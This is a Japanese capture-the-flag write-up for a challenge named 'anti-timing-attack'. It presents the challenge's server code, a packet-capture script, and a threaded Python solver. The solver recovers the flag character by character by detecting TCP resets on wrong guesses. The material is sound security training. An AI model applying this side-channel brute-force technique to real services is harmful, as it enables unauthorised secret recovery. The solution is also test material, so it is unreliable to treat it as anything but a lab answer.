基本情報リンクをコピーしました

問題文リンクをコピーしました

応答時間を固定にしました!

NOTE: リモート環境では、配布ファイルのうち flag.txt の内容のみを変更したうえで docker compose up により起動しています。ただし、一部の環境では Docker 等の実装差異により挙動が異なる可能性があるので注意してください。

作業ログリンクをコピーしました

ファイルをダウンロードして展開。

$tree anti-timing-attack/
anti-timing-attack/ ├── Dockerfile ├── chall.py └── compose.yaml 1 directory, 3 files

シンプルで嬉しい。

Dockerfile
FROM python:3.14-slim WORKDIR /app COPY chall.py chall.py CMD ["python3", "./chall.py"]
compose.yaml
services: app: build: . environment: - FLAG=Alpaca{REDACTED} ports: - ${PORT:-9999}:9999 restart: unless-stopped

Docker周りは特にひねったことしてなさそう。

chall.py
#!/usr/bin/env python3 import multiprocessing as mp import os import select import socket import time HOST, PORT = "0.0.0.0", 9999 FLAG = os.getenv("FLAG", "Alpaca{dummy}").encode() BUDGET = 0.5 BACKLOG = 16 def wait_line(conn, end): while time.monotonic() < end: t = max(0.0, min(end - time.monotonic(), 0.01)) if select.select([conn], [], [], t)[0] and b"\n" in conn.recv(len(FLAG) + 1, socket.MSG_PEEK): return True return False def handle(conn): end = time.monotonic() + BUDGET ok = False try: conn.sendall(b"FLAG: ") if wait_line(conn, end): ok = True for c in FLAG: x = conn.recv(1) if not x or x[0] != c: ok = False break ok = ok and conn.recv(1) == b"\n" except OSError: pass while time.monotonic() < end: time.sleep(0.001) try: if ok: conn.sendall(b"correct!\n") except OSError: pass try: conn.close() except OSError: pass def main(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(BACKLOG) print(f"listening on {HOST}:{PORT}", flush=True) while True: conn, _ = s.accept() mp.Process(target=handle, args=(conn,)).start() conn.close() if __name__ == "__main__": main()

わお。なんか難しそう。

関数毎に噛み砕いて理解していこう。

  • main()
    プログラムが起動されたときにまず実行される処理

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s
    →sという変数でIPv4(AF_INET)のTCP(SOCK_STREAM)サーバ用ソケットを作る
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    →サーバ再起動時に同じポートを再利用しやすくする
    s.bind((HOST, PORT))
    →ソケットを0.0.0.0:9999にバインドする
    s.listen(BACKLOG)
    →サーバとして接続待ちの状態にする(BACKLOG=16の未処理の接続要求をキューにためるようにする)
    conn, _ = s.accept()
    →クライアントが上述のソケットに接続してくるのを待ち、
    接続が来たらその接続専用のソケットconnを受け取る
    mp.Process(target=handle, args=(conn,)).start()
    →接続1本分の処理を別プロセスでhandle(conn)に引き継がせる
    conn.close()
    handle()に任せたため、親プロセス側ではその接続ソケットを閉じ、
    新しい接続をwhileループで受け取れるようにする。
    要は、サーバを起動し、接続が来るたびにhandle()を別プロセスで呼ぶ処理。

  • handle(conn)
    main()で受け取った接続が渡される、処理の中核

    end = time.monotonic() + BUDGET
    →今からBUDGET(=0.5)秒後をこの接続の制限時間と定める
    if wait_line(conn, end):内の処理
    →制限時間以内にフラグ+改行の形式で受け取った受信バッファを取得し、
    先頭から1文字ずつ照合し、合っていればokをTrueに、そうでない場合はFalseになるようにする。
    while time.monotonic() < end: time.sleep(0.001)
    endの時間まで待機する
    それ以降の挙動も合わせると、文字照合に成功しても失敗しても同じ時刻に処理を終え、正しければ"correct!\n"を返し、そうでない場合は何も返さず接続を閉じる処理。

  • wait_line(conn, end)
    handle()で呼び出される

    while time.monotonic() < end:
    →制限時間まで以下の処理を繰り返す
    t = max(0.0, min(end - time.monotonic(), 0.01))
    tは次の行で使う待ち時間。基本的に0.01秒だが、
    待ち時間の経過後endを超えないよう最後だけ工夫してある。
    select.select([conn], [], [], t)[0] and b"\n" in conn.recv(len(FLAG) + 1, socket.MSG_PEEK)
    →ソケットconnに読み取れるデータが来ているかをt秒待ち、
    データが来ていれば受信バッファからデータを取り出さず(socket.MSG_PEEK)にFLAG文字列+改行(\n)が含まれているかどうかをチェックする
    まとめると、締切時間までにフラグ文字列+改行が届いたかどうかを確認する処理。

それじゃあどうやってフラグを奪取しようか。

文字照合における正解・不正解時の処理スピードの差と総当たりを組み合わせたタイミング攻撃はあからさまに対策されている。

何らかのエラーを意図的に起こせたとしても、エラーメッセージとかは返ってこず、返ってくるのは0.5秒後のcorrect!か沈黙のみ…

わかんねえや。

とりあえず色々な入力を試してパケットキャプチャして、タイミングや挙動が変わるか調べてみよう。

ということでテスト用のシェルスクリプトを生成AIの手を借りて作ってみた。
ncでアクセスしてから入力値を送信するまでの猶予が0.5秒しか無いから手動で試せないんだよね。

capture.sh
#!/bin/bash HOST="127.0.0.1" PORT="9999" IFACE="any" while getopts "t:p:i:c:" opt; do case $opt in t) HOST="$OPTARG" ;; p) PORT="$OPTARG" ;; i) IFACE="$OPTARG" ;; c) CHARS="$OPTARG" ;; esac done mkdir -p pcaps # カンマ区切りの文字列を配列に分割 IFS=',' read -r -a targets <<< "$CHARS" for target in "${targets[@]}"; do # ファイル名 (時刻_テスト文字列.pcap) FILE="pcaps/$(date +%H%M%S)_${target}.pcap" sudo tcpdump -i $IFACE host $HOST and tcp port $PORT -w "$FILE" 2>/dev/null & PID=$! sleep 0.5 (echo "$target"; sleep 1) | nc $HOST $PORT >/dev/null 2>&1 sleep 0.5 sudo kill $PID 2>/dev/null wait $PID 2>/dev/null done

このスクリプトで異なる入力値を試したときのキャプチャファイルを作成して、wiresharkで比較して手がかりを探そう。
とりあえず必ずフラグに含まれているAlpaca{とそれに1文字加えたやつ、入力しないものと適当な文字列の4種類で試す。

$sudo ./capture.sh -t ***.***.***.*** -p ***** -i any -c "Alpaca{,Alpaca{a,,kirehash"

Alpaca{

Alpaca{a

(空白)

kirehash(適当な文字列)

おお!?なんか色が違うぞ(小並感)

FLAGとの照合でbreakを呼び出される文字列のみ異常終了(RST, ACK)になっている!!

これを手がかりにしてフラグを先頭から1文字ずつ推測できそう。

というわけでpythonでソルバを作成。
Alpaca{aAlpaca{bAlpaca{c...と試していき、接続が切れなかった試行の文字(Xとする)をもとに、
Alpaca{XaAlpaca{XbAlpaca{Xc...と試していくことを繰り返す。

solve.py
import socket import string import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed if len(sys.argv) != 3: print(f"Args error") sys.exit(1) HOST = sys.argv[1] PORT = int(sys.argv[2]) MAX_WORKERS = 15 # 1つの試行で約0.5秒かかるため、複数同時に試して高速化する # すでに確定済み文字列+次に試す文字+改行を送信して、接続が切れるかどうかで判定する def check_char(char, current_flag): guess = current_flag + char + "\n" for _ in range(3): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: try: s.connect((HOST, PORT)) s.recv(6) s.sendall(guess.encode()) while True: data = s.recv(1024) if not data: return char except ConnectionResetError: return None except Exception: time.sleep(0.1) continue return None def main(): known_flag = "Alpaca{" charset = string.ascii_lowercase + string.digits + "_}" while not known_flag.endswith("}"): found_char = None with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: futures = {executor.submit(check_char, c, known_flag): c for c in charset} for future in as_completed(futures): result = future.result() if result: found_char = result break if found_char: known_flag += found_char print(known_flag, flush=True) else: break if __name__ == "__main__": main()

let's実行

$python solve.py ***.***.***.*** *****
Alpaca{X Alpaca{XX Alpaca{XXX Alpaca{XXXX Alpaca{XXXXX Alpaca{XXXXXX Alpaca{XXXXXXX Alpaca{XXXXXXX}

できたぁ!!

最終的な解法リンクをコピーしました

照合に失敗してbreak文が呼ばれると接続が強制中断になることを頼りに先頭から1文字づつ総当たりでテストするプログラムを作成して実行する。